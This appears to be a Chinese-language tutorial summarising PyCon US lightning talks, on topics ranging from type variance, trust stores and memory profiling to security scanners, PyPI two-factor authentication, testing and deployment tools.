- 生活差异:酒店房间里有茶,但没有烧水壶。我不得不自带旅行水壶。
- 交通恐惧:来之前我很担心需要开车,因为我驾驶技术不好。幸运的是,这个城市有电车和公交。
- 活动差异:在欧洲的Python会议上,有“冰淇淋冲刺”活动。我担心在这里会收到超速罚单而不是参加冲刺。
我不想让你在参加接下来的会议时感到同样的震惊。以下是一些给未来参会者的建议:
- 天气与衣物:英国天气较湿润,建议带防水衣物。
- 出行:在英国不需要开车,火车和公交(伦敦叫“Tube”)非常方便。
- 饮食:一定要尝试炸鱼薯条和“星期日烤肉”。
- 小费:在欧洲,小费是可选的。
- 社交:会议社交活动可能围绕酒吧展开,人们很友好。
- 住宿:酒店可能较贵,可以考虑Airbnb或学生宿舍,但要小心诈骗。
欢迎来英国参加PyCon活动!
P12:Lukas - 协变、逆变与不变性 🧩
之前我们经历了一场文化之旅,现在回到技术概念。卢卡斯将快速讲解类型系统中的协变、逆变和不变性。
这是一个很多人难以理解的概念,因为缺少好的例子。而好例子的特点是用可爱的动物来解释。


想象一种抽象动物Animal,以及它的子类型,如Dog、Cow、Cat。协变、逆变和不变性是解释我们是否可以用一种类型替换另一种类型的概念。
1. 协变
协变是最直观的。它意味着当需要Animal的地方,我们可以放入Cat。
例如,在Python中,如果你有一个打印Animal的函数,你可以定义一个打印Cat的函数来调用它,一切正常。
公式表示:如果 Cat 是 Animal 的子类型,那么 Sequence[Cat] 可以替换 Sequence[Animal]。
2. 逆变
逆变则相反。它意味着在某些上下文中,你可以用通用的Animal替换具体的Cow。
这通常发生在可调用对象中。例如,一个可以打印任何Animal的函数,当然可以用于打印Cat。
公式表示:如果 Cat 是 Animal 的子类型,那么 Callable[[Animal], ...] 可以替换 Callable[[Cat], ...]。
3. 不变
不变性意味着你既不能用Cow替换Animal,也不能用Animal替换Cow。
例如,一个向列表添加Animal的函数,不能安全地用于一个只期望添加Cat的函数。因为前者可能添加非Cat的动物,从而破坏类型约束。
在Python中,容器不强制类型,但在NumPy或其他语言中,内存布局不同,这点更重要。
现在你理解了协变、逆变和不变性。
P12:Seth - Python中Trust Store的未来 🔐
我们了解了类型系统的复杂性,现在转向另一个重要的实践话题:安全。塞斯将谈谈Python中Trust Store的未来。
大家好。今天我将谈谈Trust Store,以及它在Python中的未来。我是requests等库的维护者。这里的大部分工作也由大卫·格里克完成。
你们见过这个错误吗?[SSL: CERTIFICATE_VERIFY_FAILED]。如果你在企业代理环境中工作,可能见过。这通常是因为缺少根证书,无法验证证书链。

什么是Trust Store?
Trust Store是一组证书,你的系统在进行TLS握手时会使用它来验证服务器返回的证书。

Python当前的状况
在Python中,由于SSL API依赖OpenSSL,Trust Store通常是文件或证书目录。Linux发行版提供与OpenSSL兼容的包,但macOS和Windows不提供。所以在macOS和Windows上,我们使用certifi包。certifi将Mozilla的CA证书包重新打包并上传到PyPI。
当前方案的问题
使用OpenSSL和certifi存在一些问题:
certifi只包含其捆绑的证书,无法感知系统管理员安装的额外证书。- 每个应用都有自己的信任库,难以维护,且不会自动更新。
- PyPI成了CA证书的分发渠道,但这并非其本意。
更好的方案:系统信任库
系统信任库每个系统只有一个,由系统统一管理和更新,并能提供操作系统的高级功能。
未来的愿景:truststore
我们创建了一个新的实验性包truststore。它提供了一个SSL上下文API,在所有主要平台上工作,并调用本地系统信任库。
重要提示:这个包非常新,处于实验阶段,请勿部署到生产环境。
未来的方向
我们希望将这个功能添加到Python标准库中,让所有Python应用都能立即受益。渐进式的采用路径是通过库和工具。
P12:Pablo - 内存分析器Memray 📊
从安全话题转向性能分析。巴勃罗将介绍他们公司开源的内存分析器Memray。
大家好。我是Pablo Calindo。今天我介绍我们公司(彭博社)开源的内存分析器Memray。
Python内存分析领域有很多优秀工具。但许多分析器只能看到Python解释器层面的分配,无法看到底层(如C扩展、NumPy)的分配。

Memray的优势
Memray不仅可以追踪Python中的分配,还能追踪C扩展中的分配。例如,使用mmap分配了90+MB内存,但tracemalloc只会报告分配了80字节的Python对象。Memray能正确报告这次9MB的分配。
强大的调用栈追踪
Memray可以生成火焰图,不仅显示Python代码的分配,还能深入显示其下的C代码执行情况。这对于使用数据科学库时特别有用。
其他特性
- 将信息转储到二进制文件,后续按需生成多种报告(统计、火焰图、表格)。
- 支持实时报告,观察运行中应用的内存行为。
- 提供API,可以只跟踪代码的特定部分,上下文管理器之外的代码没有额外开销。
- 集成测试套件,可以为测试添加内存断言,例如限制测试用例内存使用不超过25MB。
Memray是对现有分析器生态的补充。如果你想知道程序为何占用大量内存,可以尝试它。项目地址:github.com/bloomberg/memray。
P12:Graham - 哀伤周期与数据泄露 😔
从技术工具转向更具人文关怀的话题。格雷厄姆将讨论数据安全漏洞中的哀伤周期。

这个标题可能有点大,但我想谈谈数据泄露后的心理影响。
数据泄露与羞愧感
在我进行研究时,发现与被黑客攻击相关的一个主要问题是羞愧感。人们实际上在经历一种哀伤周期(否认、愤怒、讨价还价、沮丧、接受),因为他们感到羞愧:“哦,我的数据被泄露了,是我的错。”
对开发者的启示
我们(Python社区)应该是帮助人们解决问题的人。未来,我们将构建塑造互联网体验的工具。因此,从整体视角看待这个问题非常重要。
工作场所中的哀伤周期
在工作场所、团队或客户中,可能有人正处于哀伤周期的“愤怒”阶段。向处于愤怒阶段的人推销产品是困难的。
技术带来的可能性
我认为机器学习,特别是强化学习,在推动我们理解社会动态方面潜力巨大。未来几年,社会变革建模可能会有所发展。例如,创建模型或聊天机器人来帮助冲突解决,帮助经历哀伤周期的人在与人交流前平复情绪。
我期待和大家一起努力,构建没有偏见、能真正推动积极变化的机器学习应用。感谢大家。
P12:Mason - 什么是合成数据? 🧪
我们讨论了数据泄露的心理影响,现在来看一个解决数据隐私和偏见的技术方案:合成数据。梅森将讲解合成数据。
大家好,我是梅森。今天讲合成数据。我找到的定义是:“合成数据是由计算机使用算法或模拟生成的人工注释信息,通常用作真实世界数据的替代品。”

开发者面临的数据问题
数据是当今开发者面临的最大问题之一:
- 获取困难:生产数据可能涉及隐私(如社保号、信用卡号),无法让每个开发者访问。
- 数据集有限:构建机器学习模型时,35%的时间花在数据收集上。数据不足影响模型性能。
- 数据偏见:数据集往往不完整或有偏斜的视角。

合成数据如何帮助
合成数据几乎能在所有上述情况下提供帮助:
- 使私有数据可访问:通过生成器处理生产数据,产生一个统计属性相同但完全匿名化的新数据集,可以安全共享。
- 扩展有限数据集:可以从少量样本生成大量合成数据,用于模型训练。
- 减少偏见:通过调整原始数据比例并生成合成数据,可以平衡数据集。例如,一个心脏病预测模型的数据集男性占70%,女性占30%。通过合成数据平衡后,模型准确率从88%提升到了96%。
合成数据 vs 假数据
合成数据不是随机的“假数据”。假数据可能过于完美或不真实。合成数据在统计上与原始数据集一样准确,有时甚至更准确。
应用领域与如何开始
合成数据可用于汽车、金融、网络安全、医疗保健等领域。
如果你想开始使用,我工作的公司Gretel开源了我们的合成数据模型,并提供免费的云服务层,可以评估数据质量和隐私指标。
P12:Sophia - HoloViz可视化生态系统 📈
从生成数据回到数据可视化。索菲亚将介绍她最喜欢的Python可视化生态系统HoloViz。
大家好,我叫索菲亚。今天我想谈谈HoloViz。HoloViz是我最喜欢的Python可视化生态系统,由七个库组成,包括Panel、hvPlot、HoloViews、GeoViews、Datashader、Param和Colorcet。它每月下载量超过十万次。
我的工作流
我的数据可视化工作流通常从hvPlot开始。我用hvPlot和Panel构建仪表板,用hvPlot和Datashader可视化大数据。

1. hvPlot:类似Pandas的API
hvPlot的外观和操作方式与pandas.DataFrame.plot非常相似。你可以选择不同的后端(如Matplotlib、Bokeh、Plotly)。

# Pandas 方式
df.plot.scatter(x='x', y='y')
# hvPlot 方式
df.hvplot.scatter(x='x', y='y')
2. 用hvPlot和Panel构建交互式仪表板
你可以用Panel的交互式控件(部件)替换硬编码的值,轻松创建交互式表格和图表。
3. 用hvPlot和Datashader可视化大数据
当用Pandas绘制1100万个纽约出租车数据点时,你会得到一个模糊的团块。使用hvPlot并设置rasterize=True(后端使用Datashader),可以快速、有意义且交互式地绘制大数据。
想了解更多,请查看HoloViz.org上的文档,以及hvPlot、Panel和Datashader的文档。
P12:Shavai - Robin:基于Rust的异步Python Web框架 ⚡
从数据可视化转向Web开发。沙瓦将介绍一个新兴的异步Python Web框架Robin。
大家好。我是Shavai。Robin是一个具有Rust前端的异步Python网络框架。
Robin的起源
Robin始于2021年4月,是创始人为大学最终论文准备的宠物项目。当时正值Rust重写热潮,他希望能有一个异步的、类似Flask的框架,于是基于Rust创建了Robin。
优势:性能
Python有全局解释器锁(GIL),限制了真正的并发。Rust本身支持多线程,因此Robin比其他纯Python或CPython扩展的框架更快。它内置了耦合的服务器,不依赖外部ASGI服务器。

性能对比
在一个简单的HTTP GET基准测试中(10,000个请求),Robin在不同负载下都是最快的框架之一。
架构
Robin将Python代码编译并与Rust运行时结合。路由生成后,工作被直接发送到线程池,并可根据CPU负载分配到不同核心,易于扩展。
如何使用
安装Robin的Python包后,你可以像使用Flask一样使用它,同时还拥有异步支持。
如果你对这个项目感兴趣,可以在GitHub上为其加星或加入社区。
P12:Chris M. - 优雅代码的三个步骤(重构) ✨
我们了解了新的Web框架,现在关注代码本身的质量。克里斯将分享使代码优雅的三个步骤。
大家好。我将讨论如何使代码优雅。优雅的代码需要重构,因为很难第一次就写出完美、可维护的代码。

我们有数十年的重构工具和经验,比如“代码坏味道”(提示改进机会的模式)和具体的重构方法。但方法太多,如何理清?
《99 Bottles of OOP》一书的作者提出了“聚集规则”,这是一个简单的三步过程。让我们通过代码示例来理解。
示例:生成《圣诞十二日》歌词
假设我们有两段相似的歌词,唯一区别是“first”和“second”这两个词。
步骤遵循聚集规则
- 识别最相似的部分:找到两段代码之间最小的差异。
- 消除差异:创建一个抽象概念(例如“day_number”)来概括差异,并编写函数实现它。确保测试通过。
- 整合并删除冗余:用新函数替换旧代码,删除不再使用的代码。测试通过后,代码变得更优雅。
聚集规则的分形特性
美妙之处在于,这个过程是分形的。无论你在代码的哪个层次,都可以应用这三个步骤,让代码持续变好。如果你在重构过程中被打断,你留下的仍然是可工作的代码,之后可以随时回来继续改进。
P12:Chris H. - 追求100%测试覆盖率 ✅
从重构优雅代码,我们自然来到保证代码质量的下一环:测试。另一位克里斯将谈论达到100%测试覆盖率的意义和方法。
感谢大家。我将谈谈100%的测试覆盖率。这是指我们所有的代码行都被测试覆盖。
100%覆盖率值得吗?
我花了两年时间为一个叫Static Frame的开源项目实现100%覆盖率。起初我持怀疑态度,因为100%行覆盖率不等于100%行为覆盖率。但我现在相信,这是值得的。在Python中,未测试的代码根本不会被执行。它虽不保证正确性,但带来了很多好处。
达到100%后的状态更稳定
这是我的项目覆盖率时间线。在达到100%之前,覆盖率会波动并逐渐下降。但一旦达到100%,保持它就变得容易得多。
为什么最后2%最难?
最后的2%通常是代码中最难测试的部分。攻克它们往往会促使你有价值地重构和改善代码设计。这些地方也可能隐藏着真正的bug。
不到100%为什么不够好?
许多流行开源包覆盖率也不是100%。但不到100%意味着:
- 最难测试的代码(可能含bug)未被覆盖。
- 难以判断代码库在增长还是萎缩。
- 重构时信心降低。
- 难以判断Pull Request是否添加了足够的测试。


如何达到100%覆盖率?
- 集成到CI/CD:使用
coverage包和pytest-cov插件,在CI(如GitHub Actions)中运行测试并生成报告,上传到Codecov等服务。 - 明智地排除:使用
# pragma: no cover跳过真正无需覆盖的行(如未实现的抽象基类方法)。 - 添加注释:在发现未覆盖的代码行时立即添加注释,便于后续补写测试。
- 专注完成:暂停添加新功能,优先填补剩余的覆盖率缺口。
我恳请大家努力追求100%的测试覆盖率。
P12:Indra - 从Pandas到生产:快速部署ML模型 🚀
作为压轴,让我们看看如何将机器学习模型快速投入生产。英德拉将分享一篇题为《Pandas到生产》的博文内容。
大家好。我是Indra。我喜欢那些能帮助数据科学家快速将模型从Jupyter笔记本转化为API服务的框架,如FastAPI、Kubeflow、MLflow。我使用过BentoML。
问题
在笔记本中构建模型原型很简单,但将其交付给DevOps/MLOps团队编写API并非易事,也不是所有公司都有相关工程师。
解决方案:使用BentoML
这是一个快速教程:
- 训练模型:(此处跳过,假设已有一个训练好的情感分析模型)。
- 定义API服务:编写一个类,继承自
bentoml.BentoService。声明依赖包,定义模型工件,并实现一个predictAPI函数。这类似于编写一个简单的Flask端点。 - 打包与服务:调用BentoML的打包命令,它会自动创建Docker环境、安装依赖,并启动一个提供API服务的容器。
增强:监控与指标
通过简单修改,可以集成错误跟踪(如Sentry)和性能指标(BentoML内置Prometheus)。你可以定义自定义指标,如请求延迟和文本长度。
这样,只需少量代码,就能将模型转化为具有生产级监控的API服务。
P12:结束语与预告 🎉

本节课中我们一起学习了PyCon US第一天的多场闪电演讲,涵盖了从数据科学、Python类型系统、安全、性能分析、心理影响、合成数据、可视化、Web框架、代码重构、测试覆盖到模型部署的广泛主题。
这就是今晚的闪电演讲。如果你喜欢,明天早上、晚上和周日早上还有更多。如果你想成为演讲者,可以在公告板上报名参加明天晚上和周日早上的环节。任何人都可以进行五分钟的演讲。

祝大家晚上愉快,明天见!
013:第二天上午精选内容整理

在本教程中,我们将整理并学习来自PyCon闪电演讲第二天上午的多个精彩主题。这些演讲涵盖了Python教学、沟通技巧、安全、机器学习部署、社区建设、开发者关系、算法应用和开发工具等多个方面,内容丰富且实用。
1. Python教学与社区外展 🌱
上一节我们介绍了本教程的概述,本节中我们来看看如何利用Python进行社区教学与拓展。

大家好。我是杰夫,来自匹兹堡大学康复神经工程实验室。我将讨论教学Python和社区外展。
我们实验室强调科学工作与社区价值观并重,包括尊严、尊重、多样性、平等和包容性。这些理念与开源软件社区分享知识、提供机会的目标高度一致。
匹兹堡是一个被三条河流环绕的城市。我们的大学位于奥克兰社区,邻近一个历史上被称为“小哈莱姆”的繁荣非裔美国人文化社区。该社区后来因城市发展而面临挑战,我们希望通过互动改善情况。
我们实验室的研究生策划并讲授了Python课程。授课地点在大学设于该社区的社区参与中心。授课学生并非编程专家,而是生物工程博士生。
课程内容设计如下:
- 讲解编程基础知识,如变量、控制流、循环和函数。
- 将大部分课堂时间用于动手编程练习。
- 安排大量志愿者提供一对一帮助,确保每位学生都能获得充分指导。

学生背景多样,年龄从高中生到老年人,职业背景各异,编程经验也各不相同。课程结束时,学生有两周时间完成最终项目。
学生完成的项目富有创意,例如:
- 创建密码生成器。
- 制作Python教程和备忘单。
- 设计音乐播放列表。
- 开发像Hangman这样的游戏。
课程以小型毕业典礼和项目展示结束,反馈非常积极。这次经历表明,你不需要是编程或教学专家,也能通过类似活动回馈社区。
2. 改善沟通:从词汇中移除“只是” 🗣️
上一节我们探讨了社区教学,本节中我们来看看一个能提升团队协作和沟通效果的简单技巧。
大家好。我是杰西卡,一名数据工程师。我将分享如何通过移除词汇中的一个词,让你成为更好的开发者、团队成员和导师。
这个词就是“只是”。例如,“你能不能只是处理一下数据?”或“你为什么不只是插入这个解决方案?”。使用“只是”这个词,可能暗示对方忽略了某个显而易见的解决方案,容易带有指责或显得傲慢,不利于促进建设性讨论。
我们应该用更开放、促进理解的方式提问。

以下是推荐的重述问题方式:
- 你能不能像这样……?
- 假如我们尝试一下……?
- 假如你做了……?
- 你考虑过……吗?
- 你能解释一下为什么……吗?

花时间重述问题,能促使你思考问题的根源,也可能发现被忽略的细节。以这种方式提问能为深入理解铺平道路,营造团队相互学习的氛围。
如果你发现自己使用了“只是”这个词,不必过于担心,重要的是保持觉察并不断改进。请记住:如果你的问题以“你能不能只……”开头,那么答案很可能就是“不”。
3. 生物识别攻击与安全 🔒
上一节我们讨论了软技能,本节中我们转向一个硬核的安全话题:生物识别攻击。
大家好,我是Roy,一名安全软件工程师。今天我们来谈谈生物识别攻击,例如手机的面部识别。


面部识别的工作原理是:
- 手机检测照片中的面部位置。
- 使用深度学习算法提取面部特征,生成一个特征向量(例如一个包含128个浮点数的数组)。这些数值代表面部的抽象特征(如鼻子长度、眼睛与嘴巴的比例等)。
- 手机保存首次录入时的特征向量。
- 每次解锁时,将新照片的特征向量与保存的向量进行比较。系统允许一定范围内的差异(例如,因发型、胡须变化)。

为了便于理解,我们可以将这个128维的特征向量简化为一个3D空间中的点。手机围绕首次录入的点(A点)设定一个“安全球体”。球体内的点(如C点)被识别为机主,球体外遥远的点(B点)则被拒绝。


然而,研究发现,某些人的面部特征向量异常“通用”,能够匹配并解锁多部不同的手机。这表明生物特征并非绝对唯一。
攻击者可以通过分析大量人脸数据的特征分布,生成一系列从“最通用”到“最不通用”的虚拟人脸。利用这些虚拟人脸,有可能找到一张与目标手机保存的特征向量足够接近的图像,从而实施攻击。因此,生物识别技术并非绝对安全。
4. Python打包的安全考虑 🛡️
上一节我们了解了生物识别的风险,本节中我们关注Python生态本身的安全工具。
大家好。我是Gajinder Deshpande。我将简要讲解Python打包中的安全考虑事项。
主要介绍三个安全工具:Bandit、Safety和Semgrep。
Python的流行度日益增长,但开源软件的安全问题常源于对安全编码原则的理解不足,而非代码开源本身。不安全的Python包会使你的应用程序面临风险。

Bandit是一个静态分析工具,用于发现Python代码中的常见安全问题。它通过构建代码的抽象语法树(AST)并运行插件来进行扫描。
# 运行Bandit扫描
bandit -r /path/to/your/code

Safety用于检查已安装的依赖项是否存在已知的安全漏洞。它默认使用PyUp.io的安全漏洞数据库。
# 检查当前环境依赖
safety check
# 使用API密钥进行更全面检查
safety check --key=YOUR_API_KEY
Semgrep是一个开源静态分析器,支持多种语言(包括Python),拥有大量社区编写的规则,可用于发现漏洞。
给开发者的安全建议:
- 包维护者:确保遵循安全编码原则。
- 应用开发者:编写安全的代码,使用工具检查漏洞,定期扫描环境。
- 通用实践:使用PGP密钥对包签名,从可信来源安装包,在升级前扫描新包。
5. 扩展PyTorch用于生产部署 🚀
上一节我们关注了安全,本节中我们看看如何将强大的机器学习框架PyTorch用于生产环境。

大家好。我是Diamond,负责PyTorch的工程经理。我将谈论如何为生产用途扩展PyTorch。

在生产中运行机器学习系统时,通常不会全部使用Python,而会结合C++等高性能语言以追求高吞吐量。挑战在于:如何在C++服务中高效使用Python训练的模型?
传统方法是将模型翻译成其他语言,但这个过程非常痛苦。PyTorch提供了新的解决方案:TorchDeploy 和 TorchPackage。
TorchDeploy 允许在C++程序中加载和运行打包好的PyTorch模型。其核心是使用一个解释器管理器来运行多个Python解释器,从而规避全局解释器锁(GIL)的限制,充分利用多核CPU。
// C++ 示例代码片段
torch::deploy::InterpreterManager manager(4); // 使用4个解释器
auto package = manager.loadPackage(“/path/to/model.package”);
auto model = package.loadPickle(“model”, “model.pkl”);
auto output = model.forward({input_tensor}); // 执行推理

TorchPackage 用于在Python端将模型及其依赖项序列化并打包。它可以精细控制哪些依赖项被打包在内(intern),哪些保持外部引用(extern)。
# Python 示例代码片段
with torch.package.PackageExporter(‘model.package’) as exporter:
exporter.extern([“numpy”, “scipy”]) # 外部依赖
exporter.intern([“my_model_module”]) # 内部打包
exporter.save_pickle(“model”, “model.pkl”, my_model)

使用TorchDeploy,对于中小型模型,无需复杂优化即可获得优于单线程的性能,同时让数据科学家能在熟悉的Python环境中工作。
6. COVID-19对日本Python社区的影响与应对 🌏
上一节我们探讨了技术部署,本节中我们看看全球Python社区如何应对挑战。
大家好。我是来自日本东京的Manabu Terada。我将讨论COVID-19对日本Python社区的影响。

日本的PyCon社区始于2011年的PyCon JP,最初仅有约150人参与,现已发展到能接待约1000人。社区活动也在日本各地推广,包括教程、Bootcamp,并支持女性开发者社区(如PyLadies Tokyo)。

2020年全球疫情爆发后,社区活动并未停止。我们采取了以下措施:
- 举办PyCon慈善讲座,并将所得捐赠给Python软件基金会(PSF),三次活动累计捐赠25,000美元。
- 每月进行YouTube直播,分享Python和社区新闻,介绍新活动,并预览新版本特性(如Python 3.10)。
- 制作并播放“PyCon JP TV”采访节目。
这些努力帮助社区在困难时期保持联系和活力。我们即将在十月恢复线下活动,并欢迎全球朋友参与。
7. 开发者关系(DevRel)是什么? 💼
上一节我们看到了社区的韧性,本节中我们深入了解一个与之相关的职业领域:开发者关系。
大家好,我是Jay。很多人问我DevRel(开发者关系)是什么,同时很多公司正在招聘这类人才。如果你喜欢分享技术、与人交流,这可能是一个适合你的方向。
DevRel的核心是沟通,具体包括两方面:
- 向社区传达公司的技术、产品和服务。
- 向公司传达社区的需求、反馈和痛点。
必须同时为社区和公司创造价值。进入DevRel领域,通常可以从以下至少一个方面入手:
短期/即时内容创作:
- 例如:Twitter Spaces、YouTube直播、Twitch流媒体、TikTok/IG短视频。
- 特点:内容时效性强,互动直接。

持续/周期性社区参与:
- 例如:参加本地聚会、技术大会、在Discord/Slack社区活跃、做客播客或博客。
- 特点:建立长期可见度和信任,通过持续露面不断进步。

长期/可持续内容建设:
- 例如:维护个人技术博客、播客、YouTube频道、新闻通讯、社交媒体账号。
- 特点:构建个人品牌和知识库,让人们知道在哪里能找到你并了解你的专长。
DevRel工作适合那些乐于学习并分享所学的人,即使你不是最顶尖的技术专家也没关系。如果你对此感兴趣,可以多与从业者交流,了解他们的工作日常。
8. 二分查找的一个有趣应用:最小化最大子段和 ⚖️
上一节我们探讨了职业方向,本节中我们回到算法,看一个二分查找的巧妙应用。
大家好,我是Jack。我将讨论二分查找的一个有趣应用,来解决“最小化最大子段和”问题。
问题描述:给定一个包含n个正整数的列表,将其划分为k个连续的子段,使得所有子段和中最大的那个值尽可能小。
首先,我们观察到:如果给定一个上限值 m,我们可以贪心地构造一个划分,使得没有子段和超过 m。方法是顺序遍历列表,当当前子段和加上下一个元素即将超过 m 时,就结束当前子段,开始新的子段。


基于这个构造方法,我们可以定义以下函数:
def can_partition(nums, k, m):
“”“判断能否将nums分成k段,每段和不超过m”“”
current_sum = 0
segments = 1 # 至少有一段
for num in nums:
if current_sum + num > m:
segments += 1
current_sum = num
if segments > k:
return False
else:
current_sum += num
return True
我们的目标是找到最小的 m,使得 can_partition(nums, k, m) 为 True。这个最小的 m 就是答案。
这里的关键洞察是:随着 m 从0增加到数组总和,函数 can_partition(nums, k, m) 的结果会从 False 变为 True,并且只变一次。这形成了一个“Falses…True…”的序列。寻找最小的满足条件的 m,正好就是在该序列中寻找第一个 True,这完美契合了二分查找的应用场景。
因此,我们可以使用二分查找来高效地找到这个最小的 m,从而解决该问题。此问题是LeetCode 410。
9. Scikit-HEP开发者页面与工具链 🛠️
上一节我们学习了算法应用,本节中我们介绍一套能提升Python项目开发体验的工具和指南。

大家好,我是Henry。我想介绍Scikit-HEP开发者页面。Scikit-HEP是一个专注于高能物理软件包的GitHub组织,但我们创建的工具具有通用性。

Scikit-HEP开发者页面(scikit-hep.org/developer)是一个综合资源站,包含:
- 教程:如何设置开发环境、使用pytest、静态类型检查、配置GitHub Actions(包括二进制构建)、使用任务运行器等。
- 规范:关于Python打包(经典方式和PEP 621新标准)的详细指南。
- 风格指南:如何为各种工具(如black, isort, flake8)设置预提交钩子。
- 辅助工具:
- Cookiecutter模板:
scikit-hep-cookiecutter能快速生成项目骨架,支持11种不同的后端(如setuptools, flit, hatch, PDM, meson等)。 - 仓库审查工具:
scikit-hep-repo-review可以检查你的项目在多大程度上遵循了上述指南。
- Cookiecutter模板:
最令人兴奋的新功能是 scikit-hep-repo-review PWA应用。它是一个渐进式Web应用,可以直接在浏览器中运行。你只需输入代码库的URL,它就能在无需安装任何软件的情况下,对你的项目进行分析并生成合规性报告,极大地简化了评估流程。

这套工具链旨在为Python开发者,特别是包维护者,提供一套现代化、标准化且高效的项目起步和治理方案。

10. 使用Pants构建系统优化测试流程 ⚡

在最后一节,我们来看一个能显著提升开发效率的构建工具。
大家好,我是Chris。我将介绍如何用Pants构建系统来“停止运行(不必要的)测试”。
测试很重要,但运行整个测试套件通常很慢,因为大多数测试与你当前的修改无关。Pants的目标是让你使用的Python工具(如测试、格式化、打包)在大型代码库中更高效。
Pants通过以下方式实现智能测试:
- 并行运行测试:像许多测试运行器一样。
- 细粒度缓存:
- 如果只更改了一个测试文件,Pants只会重新运行该测试,其他测试结果从缓存复用。
- 如果更改了一个被测试的源代码文件,Pants会通过静态依赖分析,自动找出哪些测试依赖于这个文件,并只重新运行那些受影响的测试。
- 完全缓存复用:如果两次运行之间没有任何变化,Pants会直接使用之前的缓存结果,实现“瞬时”完成。
Pants的配置非常简洁,它能自动分析项目中的依赖关系。
# BUILD 文件示例
python_sources()
python_tests(name=“tests”)
你无需手动指定复杂的依赖关系。Pants使得在持续集成(CI)之外,也能快速、频繁地运行相关的测试子集,从而在开发过程中获得更快的反馈循环,同时保持对代码质量的信心。
总结


本节课中我们一起学习了来自PyCon闪电演讲的十个主题。我们从Python社区教学的实践开始,学习了改善团队沟通的语言技巧,探讨了生物识别安全的局限性和Python包安全工具。接着,我们了解了将PyTorch部署到生产环境的方案,看到了日本Python社区在疫情下的创新应对,并探索了开发者关系(DevRel) 这一职业路径。然后,我们研究了一个二分查找的巧妙算法应用,最后介绍了两套提升开发效率的工具链:Scikit-HEP开发者页面和Pants构建系统。这些内容涵盖了从技术实践到软技能,从社区建设到开发效率的多个维度,为Python初学者和开发者提供了丰富的知识和启发。
014:第二天下午精彩回顾 🎤


在本节课中,我们将回顾PyCon第二天下午的闪电演讲环节。多位演讲者在五分钟内分享了他们在Python社区、技术实践、工具开发等方面的独特见解和项目。我们将逐一梳理这些演讲的核心内容,并将其整理成一篇结构清晰、易于理解的教程。
演讲 1:Python 与西班牙语 🌍
上一节我们介绍了本环节的概况,本节中我们来看看第一位演讲者克里斯蒂安关于语言与编程的思考。
克里斯蒂安探讨了非英语母语者学习编程的额外挑战。他通过一个有趣的实验,展示了将Python关键字临时替换为西班牙语的效果,以此说明语言可能成为学习的障碍。


以下是演示中的部分“西班牙语化”代码示例:
# 原Python代码
mi_lista = []
for contador in range(10):
mi_lista.append(contador)
# 实验性“西班牙语”代码(非真实功能)
lista = []
meantras contador < 10:
lista.agregar(contador)
contador += 1
他强调了本地化社区的重要性,并分享了阿根廷Python社区翻译官方文档的成功案例。他的核心观点是:建立和使用母语社区能带来归属感,并帮助更多人成为开发者。

演讲 2:我的首次PyCon之旅 ✈️
接下来,马里奥分享了他第一次参加PyCon的个人经历,这是一次充满挑战与收获的冒险。
他的旅程始于响应提案征集,到获得旅行资助,最后与家人长途驾车抵达会场。他主持了教程和会议,并意外地进行了这次闪电演讲。他的故事鼓励新人勇敢参与社区活动。
演讲 3:开源如公园 🏞️

乔治用一个生动的比喻阐述了开源生态的本质。
她将开源项目比作一个社区公园:人人可免费进入并使用(使用软件),但需要大家共同维护(贡献代码、修复问题、撰写文档)。公司和贡献者的捐赠与帮助,就像为公园添置长椅或游乐场,能让整个社区变得更美好、更可持续。
演讲 4:为万物编写 Linter 🔍
本茨介绍了 Semgrep 工具,并展示了他如何脑洞大开地将其用于检查“现实世界”。
Semgrep 是一个用于多种语言的代码模式搜索与检查工具。本茨创建了 Super Semgrep,它能将现实世界的事物(如GitHub项目、Spotify播放列表、照片)转化为JSON数据,然后应用自定义规则进行检查。


例如,一个检查GitHub项目是否缺少行为准则的规则可能如下:
rules:
- id: missing-code-of-conduct
pattern: |
{
“stargazers_count”: $STARS,
“has_code_of_conduct”: false
}
message: “Popular project ($STARS stars) is missing a code of conduct!”
severity: WARNING
他演示了如何检查播放列表中歌曲节奏是否变化过大,甚至如何“判定”一张在希腊拍摄的照片中的人物穿着不符合“地中海时尚”。这个演讲生动地展示了代码思维的有趣应用。
演讲 5:助力CPython加速 🚀
马克代表“更快的CPython”团队发出了呼吁。

团队想知道他们的优化工作对用户的实际程序有多大提升。现有的标准基准测试集(如PyPerformance)覆盖场景有限。他请求社区帮助:运行你自己的基准测试。即使无法公开代码,也可以本地运行PyPerformance框架测试自己的应用,并将结果反馈给团队,这能帮助开发者更有针对性地进行优化。

演讲 6:使用 Correlate 关联数据 🔗
拉里解决了一个实际问题:如何自动匹配混乱的文件名与干净的元数据。
他编写了 correlate 库来解决“数据关联”问题。例如,将一堆命名混乱的广播剧MP3文件(如“bos1945-01-06.mp3”)与维基百科上规范的剧集列表进行匹配。
核心用法示例如下:
import correlate

# 创建关联器
correlator = correlate.Correlator()

# 添加数据集A(MP3文件信息)
correlator.add_data(‘mp3s’, mp3_data_list, keys=[‘date’, ‘title_words’])
# 添加数据集B(剧集元数据)
correlator.add_data(‘episodes’, episode_data_list, keys=[‘date’, ‘title_words’, ‘stars’])


# 执行关联并获取结果
matches = correlator.correlate(‘mp3s’, ‘episodes’)
该库支持多键匹配、权重设置、模糊匹配和排名,能有效处理现实世界中不完美数据的关联任务。
演讲 7:简洁沟通的艺术 ✍️
里奇分享了他对有效沟通的见解。
在信息过载的时代,确保信息被快速理解至关重要。他提出了一个简单的写作流程:
- 写下想法:列出所有需要传达的点。
- 寻找主题:找出这些想法之间的共同主线。
- 精炼表达:用一两句话概括核心思想,并辅以一两个简短例子。
他推荐使用“海明威编辑器”等工具来练习让文字更清晰、有力。


演讲 8:测试你的数据迁移 🧪
塞巴斯蒂安强调了测试数据库迁移(尤其是数据迁移)的极端重要性。
直接在生产数据库上运行未经测试的数据迁移脚本风险极高,可能导致数据损坏,且这种损坏可能很久后才被发现。他建议将迁移代码视作生产代码进行测试。
对于Django项目,可以使用 django-test-migrations 包。测试模式基本如下:
# 1. 将数据库迁移到迁移前的状态
# 2. 插入与生产环境类似的真实测试数据
# 3. 运行待测试的数据迁移
# 4. 断言数据库状态符合预期
他提醒,这类测试可能较慢,应将其与单元测试套件分开。
演讲 9:保护你的 PyPI 账户 🔒


威廉演示了如何强化PyPI账户安全。
他现场演示了为PyPI账户启用双因素认证(2FA)的步骤:
- 生成恢复代码并妥善保存。
- 启用验证器应用(TOTP) 或安全密钥两种2FA方式。
- 创建项目作用域的API令牌,而非使用密码上传包。

这些措施能极大降低账户被盗用的风险,并且所有安全事件都会在账户日志中可见。

